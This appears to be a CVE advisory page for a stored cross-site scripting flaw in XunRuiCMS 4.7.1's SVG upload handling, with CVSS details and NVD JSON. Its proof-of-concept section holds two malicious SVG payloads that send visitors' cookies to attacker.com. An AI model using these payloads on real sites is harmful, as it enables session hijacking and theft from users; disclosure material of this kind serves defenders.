Security Vulnerability Report
中文
CVE-2025-60445 CVSS 6.1 MEDIUM

CVE-2025-60445

Published: 2025-10-03 14:15:46
Last Modified: 2025-10-10 16:22:12

Description

A stored Cross-Site Scripting (XSS) vulnerability has been discovered in XunRuiCMS version 4.7.1. The vulnerability exists due to insufficient validation of SVG file uploads in the dayrui/Fcms/Library/Upload.php component, allowing attackers to inject malicious JavaScript code that executes when the uploaded file is viewed.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:xunruicms:xunruicms:4.7.1:*:*:*:*:*:*:* - VULNERABLE
XunRuiCMS 4.7.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-60445 PoC: Malicious SVG file for Stored XSS in XunRuiCMS 4.7.1 --> <!-- Save the following content as evil.svg and upload via the vulnerable Upload.php component --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" onload="alert('XSS-PoC-CVE-2025-60445');document.location='https://attacker.com/steal?cookie='+document.cookie"> <rect x="0" y="0" width="100" height="100" fill="red"/> <text x="10" y="50" font-size="14" fill="white">Pwned</text> </svg> <!-- Alternative payload using <script> tag --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> // Steal cookies and redirect var img = new Image(); img.src = "https://attacker.com/steal?cookie=" + document.cookie; </script> <circle cx="50" cy="50" r="40" fill="blue"/> </svg>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60445", "sourceIdentifier": "[email protected]", "published": "2025-10-03T14:15:46.010", "lastModified": "2025-10-10T16:22:12.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored Cross-Site Scripting (XSS) vulnerability has been discovered in XunRuiCMS version 4.7.1. The vulnerability exists due to insufficient validation of SVG file uploads in the dayrui/Fcms/Library/Upload.php component, allowing attackers to inject malicious JavaScript code that executes when the uploaded file is viewed."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xunruicms:xunruicms:4.7.1:*:*:*:*:*:*:*", "matchCriteriaId": "6E6A67D6-409B-4A3B-9089-978F2B554B7A"}]}]}], "references": [{"url": "https://snowhy77.github.io/2025/08/18/File-Upload-to-Achieve-Stored-XSS-Attack/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}